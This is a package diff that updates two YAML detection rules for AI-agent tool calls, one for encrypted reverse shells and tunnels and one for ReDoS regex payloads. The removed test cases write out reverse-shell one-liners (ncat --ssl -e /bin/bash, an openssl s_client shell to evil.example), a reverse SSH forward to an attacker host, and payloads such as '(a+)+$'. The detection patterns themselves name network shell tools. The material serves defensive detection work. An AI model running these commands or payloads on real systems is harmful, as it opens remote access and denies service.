agent-threat-rules 4.0.0 → 4.2.0

package/rules/excessive-autonomy/ATR-2026-01994-t1573-agent-encrypted-c2-channel.yaml

@@ -14,19 +14,19 @@ description: |
   platform (vercel/railway), or a local SSH forward for dev.
 author: ATR Community (sigma-gap-18tech)
 date: 2026/07/05
-schema_version: "0.1"
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: high
 references:
   mitre_attack:
-  - "T1573 - Encrypted Channel"
+    - T1573 - Encrypted Channel
   mitre_atlas:
-  - "AML.T0011 - User Execution"
+    - AML.T0011 - User Execution
   owasp_agentic:
-  - "ASI01:2026"
+    - ASI01:2026
   owasp_llm:
-  - LLM06:2025
+    - LLM06:2025
 tags:
   category: excessive-autonomy
   subcategory: encrypted-c2
@@ -35,89 +35,51 @@ tags:
 agent_source:
   type: tool_call
   framework:
-  - any
+    - any
   provider:
-  - any
+    - any
 detection:
   conditions:
-  - field: content
-    operator: regex
-    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect\\s+[^\\n]{0,40}(exec|/bin/(ba)?sh|\\|\\s*/bin)|ncat\\s+[^\\n]{0,40}--ssl[^\\n]{0,40}-e\\s+/bin/(ba)?sh|ncat\\s+[^\\n]{0,40}-e\\s+/bin/(ba)?sh[^\\n]{0,20}--ssl)"
-    description: "TLS-wrapped reverse shell via openssl s_client / ncat --ssl -e"
-  - field: content
-    operator: regex
-    value: "(?i)ssh\\s+[^\\n]{0,60}-R\\s*\\d{2,5}:(localhost|127\\.0\\.0\\.1|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}):\\d{2,5}\\s+[^\\n]{0,40}@[^\\n]{0,40}\\.(?!internal|corp|local)[a-z]{2,}"
-    description: "Reverse SSH remote-forward exposing an internal port to an external host"
-  - field: content
-    operator: regex
-    value: "(?i)(ngrok\\s+(tcp|http)\\s+\\d{2,5}|cloudflared\\s+tunnel[^\\n]{0,40}--url\\s+[^\\n]{0,30}localhost:\\d{2,5}|lt\\s+--port\\s+\\d{2,5})"
-    description: "Public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service"
-  - field: tool_args
-    operator: regex
-    value: "(?i)(openssl\\s+s_client[^\\n]{0,60}-connect[^\\n]{0,40}(exec|/bin/(ba)?sh)|ngrok\\s+(tcp|http)\\s+\\d{2,5})"
-    description: "Same encrypted-channel primitive resolved from tool_args"
+    - field: content
+      operator: regex
+      value: (?i)(openssl\s+s_client[^\n]{0,60}-connect\s+[^\n]{0,40}(exec|/bin/(ba)?sh|\|\s*/bin)|ncat\s+[^\n]{0,40}--ssl[^\n]{0,40}-e\s+/bin/(ba)?sh|ncat\s+[^\n]{0,40}-e\s+/bin/(ba)?sh[^\n]{0,20}--ssl)
+      description: TLS-wrapped reverse shell via openssl s_client / ncat --ssl -e
+    - field: content
+      operator: regex
+      value: (?i)ssh\s+[^\n]{0,60}-R\s*\d{2,5}:(localhost|127\.0\.0\.1|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):\d{2,5}\s+[^\n]{0,40}@[^\n]{0,40}\.(?!internal|corp|local)[a-z]{2,}
+      description: Reverse SSH remote-forward exposing an internal port to an external host
+    - field: content
+      operator: regex
+      value: (?i)(ngrok\s+(tcp|http)\s+\d{2,5}|cloudflared\s+tunnel[^\n]{0,40}--url\s+[^\n]{0,30}localhost:\d{2,5}|lt\s+--port\s+\d{2,5})
+      description: Public tunnel (ngrok/cloudflared/localtunnel) exposing an internal service
+    - field: tool_args
+      operator: regex
+      value: (?i)(openssl\s+s_client[^\n]{0,60}-connect[^\n]{0,40}(exec|/bin/(ba)?sh)|ngrok\s+(tcp|http)\s+\d{2,5})
+      description: Same encrypted-channel primitive resolved from tool_args
   condition: any
   false_positives:
-  - "A developer intentionally using ngrok/cloudflared to demo a local app (should be allowlisted per environment)"
-  - "openssl s_client used purely to inspect a certificate (no exec / shell)"
+    - A developer intentionally using ngrok/cloudflared to demo a local app (should be allowlisted per environment)
+    - openssl s_client used purely to inspect a certificate (no exec / shell)
 response:
   actions:
-  - block_tool
-  - alert
-  - snapshot
+    - block_tool
+    - alert
+    - snapshot
   auto_response_threshold: high
   message_template: |
     [ATR-2026-01994] Agent tool call opens an encrypted reverse channel or
     public tunnel (T1573). Tool call blocked pending review.
 confidence: 78
-test_cases:
-  true_positives:
-  - input: "ncat --ssl 203.0.113.9 8443 -e /bin/bash"
-    expected: triggered
-    description: "TLS reverse shell via ncat --ssl -e"
-  - input: "mkfifo /tmp/s; openssl s_client -connect evil.example:443 -quiet < /tmp/s | /bin/sh > /tmp/s"
-    expected: triggered
-    description: "openssl s_client reverse shell"
-  - input: "ssh -R 8080:localhost:3000 attacker@c2.badhost.io"
-    expected: triggered
-    description: "Reverse SSH forward exposing local port to external host"
-  - input: "ngrok tcp 22"
-    expected: triggered
-    description: "Public ngrok tunnel exposing SSH"
-  - input: "cloudflared tunnel --url localhost:8080"
-    expected: triggered
-    description: "Cloudflared tunnel exposing an internal service"
-  true_negatives:
-  - input: "vercel deploy --prod"
-    expected: not_triggered
-    description: "Managed platform deploy over HTTPS"
-  - input: "railway up --service threat-cloud"
-    expected: not_triggered
-    description: "Normal Railway deploy"
-  - input: "openssl s_client -connect api.stripe.com:443 -servername api.stripe.com < /dev/null"
-    expected: not_triggered
-    description: "Certificate inspection, no exec/shell"
-  - input: "ssh -L 5432:localhost:5432 me@db-bastion.internal"
-    expected: not_triggered
-    description: "Local forward (-L) to an internal bastion for dev"
-  - input: "curl -s https://langfuse.com/llms.txt"
-    expected: not_triggered
-    description: "Ordinary HTTPS request"
-evasion_tests:
-- input: "python3 -c 'import ssl,socket,subprocess,os; ...'"
-  expected: not_triggered
-  bypass_technique: scripted_tls_shell
-  notes: "A Python ssl-socket reverse shell hides the primitives inside code; not covered by the shell-command shapes here."
 compliance:
   eu_ai_act:
-  - article: '15'
-    context: EU AI Act Article 15 cybersecurity/robustness requirements are engaged by detection of establishing an encrypted command-and-control channel by an agent, a security-relevant event against an AI system.
-    strength: secondary
+    - article: '15'
+      context: EU AI Act Article 15 cybersecurity/robustness requirements are engaged by detection of establishing an encrypted command-and-control channel by an agent, a security-relevant event against an AI system.
+      strength: secondary
   nist_ai_rmf:
-  - subcategory: MS.2.7
-    context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by runtime detection of establishing an encrypted command-and-control channel by an agent.
-    strength: secondary
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by runtime detection of establishing an encrypted command-and-control channel by an agent.
+      strength: secondary
   iso_42001:
-  - clause: '8.1'
-    context: ISO/IEC 42001 clause 8.1 operational controls cover detection of establishing an encrypted command-and-control channel by an agent against AI-agent tooling.
-    strength: secondary
+    - clause: '8.1'
+      context: ISO/IEC 42001 clause 8.1 operational controls cover detection of establishing an encrypted command-and-control channel by an agent against AI-agent tooling.
+      strength: secondary

package/rules/excessive-autonomy/ATR-2026-02106-redos-regex-payload-tool-argument.yaml

@@ -1,134 +1,78 @@
-title: "Catastrophic-Backtracking Regex Payload in a Search/Query Tool Argument"
+title: Catastrophic-Backtracking Regex Payload in a Search/Query Tool Argument
 id: ATR-2026-02106
 rule_version: 1
 status: experimental
-description: >
-  Detects a classic ReDoS (regular-expression denial-of-service) trigger
-  shape -- a capturing group with an inner quantifier (+ or *) immediately
-  followed by an outer quantifier on the same group -- appearing inside a
-  tool argument that a vulnerable tool will compile and execute as a live
-  regular expression against its own data with no timeout. This nested
-  quantifier shape (`(a+)+`, `([a-zA-Z]+)*`, `(.*)+`) is the textbook
-  catastrophic-backtracking construct: against a non-matching input it
-  causes the regex engine's backtracking search space to grow
-  exponentially with input length. Mined from GHSA-8w9j-hc3g-3g7f
-  (PraisonAI's `MCPToolIndex.search_tools()` compiles a caller-supplied
-  query string directly as a Python regex via `re.compile(query,
-  re.IGNORECASE)` with no validation, sanitization, or timeout; the
-  disclosed PoC query `(a+)+$` blocked the server's Python thread for
-  hundreds of seconds, a complete denial of service reachable by any
-  network caller since the MCP server's HTTP transport runs without an API
-  key by default). Generalized beyond that one tool/field name to any
-  agent-callable tool that takes a caller-supplied string and compiles it
-  as a regex (search/filter/index-lookup tools are the most common shape).
-  Verified against the current engine: none of the three realistic
-  ReDoS-shaped query variants tested produced any match from an existing
-  rule.
-author: "ATR Community (CVE sweep)"
-date: "2026/07/11"
-schema_version: "0.1"
+description: |
+  Detects a classic ReDoS (regular-expression denial-of-service) trigger shape -- a capturing group with an inner quantifier (+ or *) immediately followed by an outer quantifier on the same group -- appearing inside a tool argument that a vulnerable tool will compile and execute as a live regular expression against its own data with no timeout. This nested quantifier shape (`(a+)+`, `([a-zA-Z]+)*`, `(.*)+`) is the textbook catastrophic-backtracking construct: against a non-matching input it causes the regex engine's backtracking search space to grow exponentially with input length. Mined from GHSA-8w9j-hc3g-3g7f (PraisonAI's `MCPToolIndex.search_tools()` compiles a caller-supplied query string directly as a Python regex via `re.compile(query, re.IGNORECASE)` with no validation, sanitization, or timeout; the disclosed PoC query `(a+)+$` blocked the server's Python thread for hundreds of seconds, a complete denial of service reachable by any network caller since the MCP server's HTTP transport runs without an API key by default). Generalized beyond that one tool/field name to any agent-callable tool that takes a caller-supplied string and compiles it as a regex (search/filter/index-lookup tools are the most common shape). Verified against the current engine: none of the three realistic ReDoS-shaped query variants tested produced any match from an existing rule.
+author: ATR Community (CVE sweep)
+date: 2026/07/11
+schema_version: '0.1'
 detection_tier: pattern
 maturity: experimental
 severity: high
-
 references:
   owasp_llm:
-    - "LLM10:2025"
+    - LLM10:2025
   owasp_agentic:
-    - "ASI06:2026"
+    - ASI06:2026
   mitre_attack:
-    - "T1499 - Endpoint Denial of Service"
+    - T1499 - Endpoint Denial of Service
   mitre_atlas:
-    - "AML.T0034 - Cost Harvesting"
-
+    - AML.T0034 - Cost Harvesting
 metadata_provenance:
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
   mitre_attack: human-reviewed
   mitre_atlas: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness and cybersecurity) requires high-risk AI systems to resist unauthorised attempts to degrade their availability; this rule detects a ReDoS-shaped regex payload submitted as a tool argument to trigger a catastrophic-backtracking denial of service."
+    - article: '15'
+      context: Article 15 (accuracy, robustness and cybersecurity) requires high-risk AI systems to resist unauthorised attempts to degrade their availability; this rule detects a ReDoS-shaped regex payload submitted as a tool argument to trigger a catastrophic-backtracking denial of service.
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the ReDoS-via-tool-argument risk class."
+    - article: '9'
+      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the ReDoS-via-tool-argument risk class.
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MG.2.3"
-      context: "Treating ReDoS-shaped tool-argument payloads as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation."
+    - subcategory: MG.2.3
+      context: Treating ReDoS-shaped tool-argument payloads as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation.
       strength: primary
-    - subcategory: "MP.5.1"
-      context: "Identifying the caller-supplied-regex-without-timeout idiom as an AI risk to be catalogued in the organizational risk register."
+    - subcategory: MP.5.1
+      context: Identifying the caller-supplied-regex-without-timeout idiom as an AI risk to be catalogued in the organizational risk register.
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of ReDoS-shaped payloads reaching a tool that compiles caller-supplied regexes."
+    - clause: '8.1'
+      context: ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of ReDoS-shaped payloads reaching a tool that compiles caller-supplied regexes.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the denial-of-service attempt."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the denial-of-service attempt.
       strength: secondary
-
 tags:
   category: excessive-autonomy
   subcategory: redos-tool-argument
   scan_target: llm_io
   confidence: medium
-
 agent_source:
   type: llm_io
   framework:
     - any
   provider:
     - any
-
 detection:
   condition: any
   conditions:
     - field: content
       operator: regex
-      value: '\((?!\?:[^\s()\[\]a-zA-Z0-9]\[)[^()\n]{1,25}[+*]\)[+*](?!\*)'
-      description: "Nested quantifier shape: a group ending in + or * immediately followed by another + or * on the group itself (classic catastrophic-backtracking construct). Excludes a second trailing '*' so markdown **bold** markers do not coincidentally supply the outer quantifier (e.g. '(H3+)**'), and excludes the safe delimiter-prefixed non-capturing idiom '(?:-[a-z0-9]+)*' (slug/kebab-case validation) where a literal separator before the class removes the backtracking ambiguity"
+      value: \((?!\?:[^\s()\[\]a-zA-Z0-9]\[)[^()\n]{1,25}[+*]\)[+*](?!\*)
+      description: 'Nested quantifier shape: a group ending in + or * immediately followed by another + or * on the group itself (classic catastrophic-backtracking construct). Excludes a second trailing ''*'' so markdown **bold** markers do not coincidentally supply the outer quantifier (e.g. ''(H3+)**''), and excludes the safe delimiter-prefixed non-capturing idiom ''(?:-[a-z0-9]+)*'' (slug/kebab-case validation) where a literal separator before the class removes the backtracking ambiguity'
     - field: content
       operator: regex
-      value: '\((?!\?:[^\s()\[\]a-zA-Z0-9]\[)[^()\n]{1,25}[+*]\)[+*](?!\*)\s*[$!]'
-      description: "Nested-quantifier ReDoS shape anchored with a trailing $ or ! -- forces a full failed-match backtrack against the entire input"
+      value: \((?!\?:[^\s()\[\]a-zA-Z0-9]\[)[^()\n]{1,25}[+*]\)[+*](?!\*)\s*[$!]
+      description: Nested-quantifier ReDoS shape anchored with a trailing $ or ! -- forces a full failed-match backtrack against the entire input
   false_positives:
-    - "Legitimate regex-library documentation or tutorial text quoting a nested-quantifier example to explain why it is dangerous, without an actual tool call submitting it as a live query"
-    - "A regex the operator has explicitly reviewed and approved as a fixed, trusted configuration value (not a per-call caller-supplied argument)"
-
+    - Legitimate regex-library documentation or tutorial text quoting a nested-quantifier example to explain why it is dangerous, without an actual tool call submitting it as a live query
+    - A regex the operator has explicitly reviewed and approved as a fixed, trusted configuration value (not a per-call caller-supplied argument)
 response:
   actions:
     - block_tool
     - alert
-
 confidence: 78
-
-test_cases:
-  true_positives:
-    - input: 'search_tools(query="(a+)+$")'
-      expected: triggered
-      description: "GHSA-8w9j-hc3g-3g7f disclosed PoC shape - nested quantifier anchored with trailing $"
-    - input: 'find_match(pattern="([a-zA-Z]+)*!")'
-      expected: triggered
-      description: "Nested quantifier with alternate character class and trailing ! anchor-like marker"
-    - input: 'query_index(regex="(x+x+)+y")'
-      expected: triggered
-      description: "Nested quantifier over a two-character alternation group"
-    - input: 'lookup(term="(.*)+$")'
-      expected: triggered
-      description: "Dot-star nested quantifier, the most generic catastrophic-backtracking shape"
-  true_negatives:
-    - input: 'search_tools(query="^[a-z]+$")'
-      expected: not_triggered
-      description: "Single quantifier, no nested group-quantifier-quantifier shape"
-    - input: 'validate(pattern="\\d{3}-\\d{4}")'
-      expected: not_triggered
-      description: "Ordinary bounded phone-number-style regex, no nested quantifiers"
-    - input: 'search(term="(hello|world)")'
-      expected: not_triggered
-      description: "Alternation group with no quantifier immediately following the closing paren"
-    - input: 'list_files(glob="*.txt")'
-      expected: not_triggered
-      description: "Plain glob wildcard, not a parenthesized regex group at all"